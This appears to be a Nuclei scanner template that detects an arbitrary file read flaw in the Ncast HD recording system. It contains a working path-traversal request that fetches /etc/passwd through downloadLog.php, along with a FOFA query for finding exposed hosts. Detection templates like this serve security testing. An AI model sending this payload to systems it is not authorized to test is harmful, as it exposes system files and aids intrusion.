id: ncast-lfi

info:
  name: Ncast HD Intelligent Recording - Arbitrary File Reading
  author: pussycat0x
  severity: high
  description: |
    Ncast HD intelligent recording and broadcasting system has an arbitrary file reading vulnerability.
  reference:
    - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:ncast_project:ncast:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ncast_project
    product: ncast
    fofa-query: app="Ncast-产品" && title=="高清智能录播系统"
  tags: ncast,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/developLog/downloadLog.php?name=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/force-download"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dbe75153cd5ec481132cac711dd1acf501f5ad3aa4acc5a2655919c1469cca99022100c1b00f785eb94ac2dcb487bd006f34ae7360a6fdd9f9c7d11bc922aaebaf2354:922c64590222798bb761d5b6d8e72950